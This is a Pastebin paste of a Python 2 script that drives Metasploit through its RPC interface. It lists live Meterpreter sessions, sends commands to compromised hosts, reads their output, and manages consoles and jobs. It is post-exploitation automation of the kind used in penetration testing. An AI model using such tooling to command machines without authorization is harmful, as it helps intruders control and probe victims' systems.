Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import msfrpc
- #[email protected] <<< My EMail address
- class windows (object):
- def __init__(self):
- try:
- self.client = msfrpc.Msfrpc({})
- self.client.login('msf', '456789')
- except IOError as error:
- print "Connection Refused :( Check your connection to metasploit or metasploit's plugin availability..."
- print error.strerror
- except Exception:
- print "An unknown error occurred :( Contact with support team."
- else:
- print "Script connected to metasploit interface successfully."
- def meter_sessions (self):
- self.m_sessions = self.client.call('session.list')
- #print "All meterpreter sessions: \n%s\n" % self.m_sessions
- self.sess_id_keys = self.m_sessions.keys() #session-id of live targets.
- if self.sess_id_keys != []: #checking if we have more than 1 live target, then write its info into a .txt file.
- self.f = open("meter_sessions.txt", "w+")
- for i in range(len(self.sess_id_keys)):
- print "Here:", self.m_sessions[self.sess_id_keys[i]]
- self.f.writelines(str(self.sess_id_keys[i]) + ':' + str(self.m_sessions[self.sess_id_keys[i]]) + "\n")
- self.f.close()
- return self.sess_id_keys #Checking have we live sessions or no!? at main.
- def meter_single_cmd (self, sess_id, cmd):
- self.m_single_cmd = self.client.call('session.meterpreter_run_single', [sess_id, cmd]) #we could pass aurgs.
- def meter_script (self, sess_id, cmd):
- self.m_script = self.client.call('session.meterpreter_script', [sess_id, cmd]) #we could not pass aurgs.
- def meter_write_cmd (self, sess_id, cmd):
- self.m_write_cmd = self.client.call('session.meterpreter_write', [sess_id, cmd])
- def meter_read (self, sess_id):
- m_read = self.client.call('session.meterpreter_read', [sess_id])
- print m_read
- #f = open(sess_id + '_' + cmd.strip("\n \\n ") + ".text", "w+")
- #f.writelines(self.m_read['data'])
- #f.close()
- ############################################################################################
- def sess_ringPut (self, sess_id, cmd):
- x1 = self.client.call("session.ring_put", [sess_id, cmd])
- print "sess_ringPut", x1
- def sess_ringLast (self, sess_id):
- x2 = self.client.call("session.ring_last", [sess_id])
- print "sess_ringLast", x2
- def sess_ringClear (self, sess_id):
- x3 = self.client.call("session.ring_clear", [sess_id])
- print "sess_ringClear", x3
- def sess_ringRead (self, sess_id):
- x4 = self.client.call("session.ring_read", [sess_id])
- print "sess_ringRead", x4
- ############################################################################################
- ############################################################################################
- def console_create (self, con_id):
- c_read = self.client.call("console.create", con_id)
- print c_read
- def console_list (self):
- c_read = self.client.call("console.list")
- print c_read
- def console_destroy (self, con_id):
- c_read = self.client.call("console.destroy", con_id)
- print c_read
- def console_write (self, con_id, cmd):
- c_read = self.client.call("console.write", [con_id, cmd])
- print c_read
- def console_read (self, con_id):
- c_read = self.client.call("console.read", con_id)
- print c_read
- ############################################################################################
- ############################################################################################
- def j_list (self):
- self.jobs_list = self.client.call('job.list') #List of active jobs.
- def j_info (self, job_id):
- self.jobs_info = self.client.call('job.info', job_id)
- def j_stop (self, job_id):
- self.jobs_info = self.client.call('job.stop', job_id) #Terminate the job.
- ############################################################################################
- ############################################################################################
- if __name__ == '__main__':
- a = windows()
- sess_cheker = a.meter_sessions()
- if sess_cheker != []:
- ## Plz pay attention to result of below CMDs.
- a.meter_single_cmd(3, "sysinfo\n") #3 is session-id of target in metasploit(via sessions CMD).
- a.meter_read(3)
- else:
- print "We haven't live session(s). You should wait for a connection..."
Advertisement
Add Comment
Please, Sign In to add comment